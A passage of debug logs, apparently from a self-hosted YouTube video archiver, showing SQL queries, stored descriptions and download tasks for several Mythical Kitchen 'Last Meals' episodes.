https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 1806, "filename" => "/downloads/Last Meals/2025-04-15 Stavros Halkias Eats His Last Meal/Stavros Halkias Eats His Last Meal [eUtrcz7rlfM].mp4", "id" => "eUtrcz7rlfM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=eUtrcz7rlfM", "playlist_index" => 40, "timestamp" => 1744711265, "title" => "Stavros Halkias Eats His Last Meal", "upload_date" => "20250415"} 20:47:54.421 [debug] QUERY OK source="sources" db=0.2ms idle=363.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:54.421 [debug] QUERY OK source="sources" db=0.1ms idle=363.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:54.422 [debug] QUERY OK source="media_items" db=0.2ms idle=364.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-15 10:01:05Z], 1] 20:47:54.423 [debug] QUERY OK source="media_items" db=1.2ms idle=364.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Stavros Halkias eats his last meal.\n\nWatch SURVIVE THE MYTHICAL KITCHEN on demand now through April 21st. Visit mythicalkitchenlive.com for details!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Stavros' Last Meal\n1:27 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:37 How Greek Food Shaped Stavros' Life\n6:20 Everyone Is The Same\n7:16 Slacking At The Law Firm\n9:30 2nd Course\n11:12 Ancient Greek Existential Dread\n13:40 Working Out On The Road\n14:30 Chris Farley & The Art Of Physical Comedy\n15:26 Food, Comfort, & Loneliness\n16:50 3rd Course\n18:07 Dream Fat Camp Movie Cast\n19:01 Reliving A Perfect Day\n20:40 Getting Political\n21:35 Comedian Cult Leaders\n24:10 4th Course\n25:09:00 Pressure To Be Rich\n26:05:00 Duty & Legacy\n26:50:00 What Do You Think Happens When You Die?\n27:35:00 Lightning Round\n29:23 Stavros' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Stavros Halkias Eats His Last Meal", "98262a5f-4a16-46bf-aa8a-59e681072f28", "https://www.youtube.com/watch?v=eUtrcz7rlfM", false, "eUtrcz7rlfM", 1806, false, 40, "/downloads/Last Meals/2025-04-15 Stavros Halkias Eats His Last Meal/Stavros Halkias Eats His Last Meal [eUtrcz7rlfM].mp4", false, false, 1, [], 0, ~U[2025-04-15 10:01:05Z], ~U[2026-03-28 00:47:54Z], ~U[2026-03-28 00:47:54Z], "Today, Stavros Halkias eats his last meal.\n\nWatch SURVIVE THE MYTHICAL KITCHEN on demand now through April 21st. Visit mythicalkitchenlive.com for details!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Stavros' Last Meal\n1:27 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:37 How Greek Food Shaped Stavros' Life\n6:20 Everyone Is The Same\n7:16 Slacking At The Law Firm\n9:30 2nd Course\n11:12 Ancient Greek Existential Dread\n13:40 Working Out On The Road\n14:30 Chris Farley & The Art Of Physical Comedy\n15:26 Food, Comfort, & Loneliness\n16:50 3rd Course\n18:07 Dream Fat Camp Movie Cast\n19:01 Reliving A Perfect Day\n20:40 Getting Political\n21:35 Comedian Cult Leaders\n24:10 4th Course\n25:09:00 Pressure To Be Rich\n26:05:00 Duty & Legacy\n26:50:00 What Do You Think Happens When You Die?\n27:35:00 Lightning Round\n29:23 Stavros' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Stavros Halkias Eats His Last Meal", "https://www.youtube.com/watch?v=eUtrcz7rlfM", "eUtrcz7rlfM", 1806, false, "/downloads/Last Meals/2025-04-15 Stavros Halkias Eats His Last Meal/Stavros Halkias Eats His Last Meal [eUtrcz7rlfM].mp4", false, 1, ~U[2025-04-15 10:01:05Z]] 20:47:54.424 [debug] QUERY OK source="sources" db=0.1ms idle=362.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:54.424 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:54.425 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [40] 20:47:54.425 [info] Kicking off download for media item #40 (eUtrcz7rlfM) 20:47:54.426 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [43, 40, ~U[2026-03-28 00:47:54Z], ~U[2026-03-28 00:47:54Z]] 20:47:54.426 [debug] Current batch of media processed. Will check again in 1000ms 20:47:55.427 [debug] Current batch of media processed. Will check again in 1000ms 20:47:56.428 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Corbin Bleu's last meal. Last Meals Ep.4\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1819, "filename" => "/downloads/Last Meals/2022-03-22 Corbin Bleu Eats His Last Meal/Corbin Bleu Eats His Last Meal [tMqYObbCYIk].mp4", "id" => "tMqYObbCYIk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tMqYObbCYIk", "playlist_index" => 41, "timestamp" => 1647943232, "title" => "Corbin Bleu Eats His Last Meal", "upload_date" => "20220322"} 20:47:56.428 [debug] QUERY OK source="sources" db=0.1ms idle=371.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:56.429 [debug] QUERY OK source="sources" db=0.0ms idle=371.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:56.429 [debug] QUERY OK source="media_items" db=0.1ms idle=371.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-03-22 10:00:32Z], 1] 20:47:56.431 [debug] QUERY OK source="media_items" db=2.1ms idle=371.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Corbin Bleu's last meal. Last Meals Ep.4\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Corbin Bleu Eats His Last Meal", "55d9239f-c9bb-418a-96a6-932c785bd566", "https://www.youtube.com/watch?v=tMqYObbCYIk", false, "tMqYObbCYIk", 1819, false, 41, "/downloads/Last Meals/2022-03-22 Corbin Bleu Eats His Last Meal/Corbin Bleu Eats His Last Meal [tMqYObbCYIk].mp4", false, false, 1, [], 0, ~U[2022-03-22 10:00:32Z], ~U[2026-03-28 00:47:56Z], ~U[2026-03-28 00:47:56Z], "Today, Josh is cooking Corbin Bleu's last meal. Last Meals Ep.4\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Corbin Bleu Eats His Last Meal", "https://www.youtube.com/watch?v=tMqYObbCYIk", "tMqYObbCYIk", 1819, false, "/downloads/Last Meals/2022-03-22 Corbin Bleu Eats His Last Meal/Corbin Bleu Eats His Last Meal [tMqYObbCYIk].mp4", false, 1, ~U[2022-03-22 10:00:32Z]] 20:47:56.431 [debug] QUERY OK source="sources" db=0.0ms idle=366.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:56.431 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:56.432 [debug] QUERY OK source="media_items" db=0.0ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [41] 20:47:56.432 [info] Kicking off download for media item #41 (tMqYObbCYIk) 20:47:56.432 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [44, 41, ~U[2026-03-28 00:47:56Z], ~U[2026-03-28 00:47:56Z]] 20:47:56.432 [debug] Current batch of media processed. Will check again in 1000ms 20:47:57.434 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Margaret Cho's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the 